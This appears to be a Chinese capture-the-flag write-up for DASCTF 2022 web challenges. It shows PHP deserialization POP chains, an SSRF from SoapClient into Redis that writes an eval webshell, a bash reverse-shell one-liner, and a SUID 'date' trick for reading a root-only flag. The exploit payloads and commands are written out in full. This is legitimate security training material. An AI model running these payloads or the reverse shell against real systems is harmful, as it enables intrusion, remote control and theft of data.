• DASCTF2022 ——十月赛 Web 部分Writeup


    题目环境是 php 7.4, 图省事直接把所有属性的类型都改成 public

    起点是 sorry 类的 __destruct(), 由 echo $this->hint 调用到 show 类的 __toString() 方法, 然后通过执行 $this->ctf->show() 跳转 secret_code 类的 __call() , 进而到 show() 方法, 在 show() 方法中访问不存在的属性, 跳转到 sorry 类的 __get(), 最后通过 $name() 跳到 fine 类的 __invoke()

    pop 链构造如下

    <?php
    
    class fine
    {
        public $cmd;
        public $content;
    }
    
    class show
    {
        public $ctf;
        public $time;
    }
    
    class sorry
    {
        public $name;
        public $password;
        public $hint;
        public $key;
    }
    
    class secret_code
    {
        public $code;
    }
    
    $e = new fine();
    $e->cmd = 'system';
    $e->content = 'cat /flag';
    
    $d = new sorry();
    $d->key = $e;
    
    $c = new secret_code();
    $c->code = $d;
    
    $b = new Show();
    $b->ctf = $c;
    
    $a = new sorry();
    $a->name = '123';
    $a->password = '123';
    $a->hint = $b;
    
    echo serialize($a);

    最后改一下数字绕过 __wakeup

    http://f9eac3ed-9425-4fe7-a009-aad41f9db212.node4.buuoj.cn:81/?pop=O:5:"sorry":4:{s:4:"name";s:3:"123";s:8:"password";s:3:"123";s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}}}s:4:"time";N;}s:3:"key";N;}

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231752647.png

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231753442.png

    cancan need 有任意文件读取

    http://745b93ee-b378-4803-b84e-52f9e7b78d2a.node4.buuoj.cn:81/file.php?m=show&filename=file.php

    file.php

    ............

    <?php

    error_reporting(0);

    session_start();

    include 'class.php';


    if($_SESSION['isLogin'] !== true){

        die("<script>alert('号登一下谢谢。');location.href='index.php'</script>");

    }

    $form = '

    <form action="file.php?m=upload" method="post" enctype="multipart/form-data" >

        <input type="file" name="file">

        <button class="mini ui button" ><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">

      提交

    </font></font></button>

    </form>';




    $file = new file();

    switch ($_GET['m']) {


        case 'upload':

            if(empty($_FILES)){die($form);}


            $type = end(explode(".", $_FILES['file']['name']));

            if ($file->check($type)) {

                die($file->upload($type));

            }else{

                die('你食不食油饼');

            }

            break;


        case 'show':

            die($file->show($_GET['filename']));

            break;


        case 'rm':

            $file->rmfile();

            die("全删干净了捏");

            break;


        case 'logout':

            session_destroy();

            die("<script>alert('已退出登录');location.href='index.php'</script>");

            break;


        default:

            echo '<h2>Halo! '.$_SESSION['username'].'</h2>';

            break;

    }

    ?>

    ............


    class.php

    ‘<?php

    class User

    {

        public $username;

        public function __construct($username){

            $this->username = $username;

            $_SESSION['isLogin'] = True;

            $_SESSION['username'] = $username;

        }

        public function __wakeup(){

            $cklen = strlen($_SESSION["username"]);

            if ($cklen != 0 and $cklen <= 6) {

                $this->username = $_SESSION["username"];

            }

        }

        public function __destruct(){

            if ($this->username == '') {

                session_destroy();

            }

        }

    }


    class File

    {

        #更新黑名单为白名单,更加的安全

        public $white = array("jpg","png");


        public function show($filename){

            echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" onclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>';

            if(empty($filename)){die();}

            return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />';

        }

        public function upload($type){

            $filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";

            move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);

            return "Upload success! Path: upload/" . $filename;

        }

        public function rmfile(){

            system('rm -rf /var/www/html/upload/*');

        }

        public function check($type){

            if (!in_array($type,$this->white)){

                return false;

            }

            return true;

        }


    }


    #更新了一个恶意又有趣的Test类

    class Test

    {

        public $value;


        public function __destruct(){

            chdir('./upload');

            $this->backdoor();

        }

        public function __wakeup(){

            $this->value = "Don't make dream.Wake up plz!";

        }

        public function __toString(){

            $file = substr($_GET['file'],0,3);

            file_put_contents($file, "Hack by $file !");

            return 'Unreachable! :)';

        }

        public function backdoor(){

            if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){

                $this->value = 'nono~';

            }

            system($this->value);

        }


    }

    Test 类可以利用, 第一时间想的是 phar 反序列化

    可以用 . 执行命令来绕过正则

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231758660.png

    思路就是先上传 phar 文件, 然后上传一个 jpg, 其内容包含要执行的命令

    注意 jpg 的名称要在 phar 的前面, 例如 phar 的名称是 dasctfe4.jpg, 包含命令的 jpg 名称必须是 dasctfc2.jpg 或者 dasctf01.jpg (ascii 码较小)

    不过试的时候发现绕过 wakeup 好像不太行…

    然后想起来做 EasyLove 题的时候根目录下有个 start.sh 部署脚本, 结合题目的描述 tips:flag在/目录下的一个文件里, 索性直接读取 start.sh 看看

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231801987.png

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231803463.png

    读取 /ghjsdk_F149_H3re_asdasfc 得到 flag

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231804991.png

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231804073.png

    根据题目描述的 redis, 猜测是通过 ssrf + redis 来 getshell

    $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng); 这句很明显是要通过某个类来执行 ssrf

    众所周知 redis 的协议很宽松, 支持用 http 来发包, 而 php 原生的 SoapClient 类可以发送 http

    payload 如下

    <?php


    class swpu{

        public $wllm;

        public $arsenetang;

        public $l61q4cheng;

        public $love;

    }


    $a = new swpu();

    $a->wllm = 'SoapClient';

    $a->arsenetang = null;

    $target = 'http://127.0.0.1:6379/';

    $poc = "flushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset xzxzxz '<?=eval(\$_REQUEST[1])?>'\r\nsave";


    $a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello");

    echo urlencode(serialize($a));


    试的时候一直卡住 (正常现象), 访问 shell.php 也显示 404

    于是猜测 redis 可能有认证, 看了下题目有 hint 类, 通过 file_get_contents() 来获得 hint.php 的内容

    直接反序列化 hint 无回显, 结果想试试 file_get_contents() + gopher 的时候阴差阳错地读到了 hint.php

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231829355.png

    <?php


    class hint{

        public $hint;

    }

    $a = new hint();

    $a->hint = 'gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A';

    echo serialize($a);


    http://0021bfdb-5d2b-42ff-9505-49d23c4aa0e2.node4.buuoj.cn:81/?hello=O:4:"hint":1:{s:4:"hint";s:404:"gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A";}

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231830188.png

    猜测 20220311 就是 redis 的密码

    于是最终 payload 如下

    <?php


    class swpu{

        public $wllm;

        public $arsenetang;

        public $l61q4cheng;

        public $love;

    }


    $a = new swpu();

    $a->wllm = 'SoapClient';

    $a->arsenetang = null;

    $target = 'http://127.0.0.1:6379/';

    $poc = "auth 20220311\r\nflushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset xzxzxz '<?=eval(\$_REQUEST[1])?>'\r\nsave";


    $a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello");

    echo urlencode(serialize($a));


    O%3A4%3A%22swpu%22%3A4%3A%7Bs%3A4%3A%22wllm%22%3Bs%3A10%3A%22SoapClient%22%3Bs%3A10%3A%22arsenetang%22%3BN%3Bs%3A10%3A%22l61q4cheng%22%3Ba%3A2%3A%7Bs%3A8%3A%22location%22%3Bs%3A22%3A%22http%3A%2F%2F127.0.0.1%3A6379%2F%22%3Bs%3A3%3A%22uri%22%3Bs%3A145%3A%22hello%0D%0Aauth+20220311%0D%0Aflushall%0D%0Aconfig+set+dir+%2Fvar%2Fwww%2Fhtml%2F%0D%0Aconfig+set+dbfilename+shell.php%0D%0Aset+xzxzxz+%27%3C%3F%3Deval%28%24_REQUEST%5B1%5D%29%3F%3E%27%0D%0Asave%0D%0Ahello%22%3B%7Ds%3A4%3A%22love%22%3BN%3B%7D


    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231832077.png

    访问 shell.php

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231833180.png

    蚁剑连接, 发现 flag 打不开

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231833251.png

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231834534.png

    root 权限, 估计是要提权

    先用 bash 反弹 shell, 直接输入会有点问题, 解决方法是先在 bash.sh 里写入反弹命令, 然后通过 bash bash.sh 来执行

    bash -i >& /dev/tcp/xxxx/yyyy 0>&1

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231836286.png

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231837760.png

    查找带 SUID 的文件

    find / -perm -u=s -type f 2>/dev/null
    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231839463.png

    发现有 date, 于是直接用 date 来读取 flag

    date -f /hereisflag/flllll111aaagg

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231839756.png







  • 相关阅读:
    redis hash结构如何设置过期时间
    C# 激活主窗口
    C# 发送消息SendKeys、SendMessage、keybd_event的用法
    【总结】清除webbrowser cookie/session的6种方法
    清除webBrowser 缓存和Cookie的解决方案
    完美解决C#Webbrowser控件设置Cookie问题
    WebBrowser脚本错误的完美解决方案
    c# 控制IE浏览器
    法嵌入互操作类型“SHDocVw.ShellWindowsClass”请改用适用的接口-解决方法
    C# 总结const、 readonly、 static三者区别:
  • 原文地址:https://www.cnblogs.com/backlion/p/16834678.html
Copyright © 2020-2023  润新知